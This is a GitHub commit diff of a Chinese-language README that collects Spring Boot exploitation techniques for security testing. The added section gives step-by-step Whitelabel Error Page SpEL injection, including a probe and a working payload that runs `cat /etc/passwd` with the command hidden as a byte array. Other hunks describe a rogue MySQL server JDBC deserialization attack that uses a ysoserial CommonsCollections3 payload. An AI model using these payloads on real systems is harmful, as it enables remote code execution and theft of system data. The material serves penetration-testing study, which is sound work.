Skip to content

Navigation Menu

Sign in
Appearance settings

Search code, repositories, users, issues, pull requests...

Provide feedback

We read every piece of feedback, and take your input very seriously.

Saved searches

Use saved searches to filter your results more quickly

Sign up
Appearance settings

Commit 63ac59c

Browse files
committed
Update README.md
1 parent 7ce2a1b commit 63ac59c

File tree

1 file changed

+46
-4
lines changed

1 file changed

+46
-4
lines changed

‎README.md

Lines changed: 46 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -6,7 +6,7 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
66

77
## 零:路由知识
88

9-
- Spring 1.x 版本根路径以 `/` 开始,2.x 统一以 `/actuator` 作为根路径
9+
- spring boot 1.x 版本默认路由的根路径以 `/` 开始,2.x 统一以 `/actuator` 开始
1010
- 有些程序员会自定义 `/manage``/management`**项目相关名称** 为根路径
1111
- 默认路由名字,如 `/env` 有时候也会被程序员修改,如修改成 `/appenv`
1212

@@ -137,7 +137,49 @@ SpringBoot 相关漏洞学习资料,利用方法和技巧合集,黑盒安全
137137
138138

139139

140-
### 0x01:SpEL RCE
140+
### 0x01:whitelabel error page SpEL RCE
141+
142+
#### 利用条件:
143+
144+
- springboot < 1.2.8
145+
- 至少知道一个触发 springboot 默认错误页面的接口及参数名
146+
147+
148+
149+
#### 利用方法:
150+
151+
##### 步骤一:找到一个正常传参处
152+
153+
比如发现访问 `/article?id=xxx` ,页面会报状态码为 500 的错误: `Whitelabel Error Page`,则后续 payload 都将会在参数 id 处尝试。
154+
155+
156+
157+
##### 步骤二:执行 SpEL 表达式
158+
159+
输入 `/article?id=A${7*7}A` ,如果发现报错页面将 7*7 的值 49 计算出来显示在报错页面上,那么基本可以确定目标存在 SpEL 表达式注入漏洞。
160+
161+
162+
163+
```java
164+
# 执行 cat /etc/passwd 命令并获得回显 payload SpEL 表达式
165+
166+
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(new String(new byte[]{0x63,0x61,0x74,0x20,0x2f,0x65,0x74,0x63,0x2f,0x70,0x61,0x73,0x73,0x77,0x64})).getInputStream())}
167+
```
168+
169+
170+
171+
#### 漏洞原理:
172+
173+
1. spring boot 处理参数值出错,流程进入显示默认 Whitelabel Error Page 500 错误页面
174+
2. 此时 URL 中的参数值会用 SpEL 进行解析,其中携带的 SpEL 表达式就会被执行,造成 RCE 漏洞
175+
176+
177+
178+
#### 漏洞分析:
179+
180+
[RCE-Springs](https://deadpool.sh/2017/RCE-Springs/)
181+
182+
141183

142184

143185

@@ -597,15 +639,15 @@ Content-Type: application/json
597639

598640
GET 请求 `/env``/actuator/env`,搜索环境变量(classpath)中是否有 `mysql-connector-java` 关键词,并记录下其版本号(5.x 或 8.x);
599641

600-
搜索并观察环境变量中是否存在常见的反序列化 gadget,比如 `commons-collections``Jdk7u21``Jdk8u20` 等;
642+
搜索并观察环境变量中是否存在常见的反序列化 gadget 依赖,比如 `commons-collections``Jdk7u21``Jdk8u20` 等;
601643

602644
搜索 `spring.datasource.url` 关键词,记录下其 `value` 值,方便后续恢复其正常 jdbc url 值。
603645

604646

605647

606648
##### 步骤二:架设恶意 rogue mysql server
607649

608-
在自己控制的服务器上运行 [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) 脚本,并在使用 [ysoserial](https://github.com/frohoff/ysoserial) ,自定义要执行的命令:
650+
在自己控制的服务器上运行 [springboot-jdbc-deserialization-rce.py](https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py) 脚本,并使用 [ysoserial](https://github.com/frohoff/ysoserial) 自定义要执行的命令:
609651

610652
```bash
611653
java -jar ysoserial.jar CommonsCollections3 calc > payload.ser

0 commit comments

Comments
(0)

AltStyle によって変換されたページ (->オリジナル) /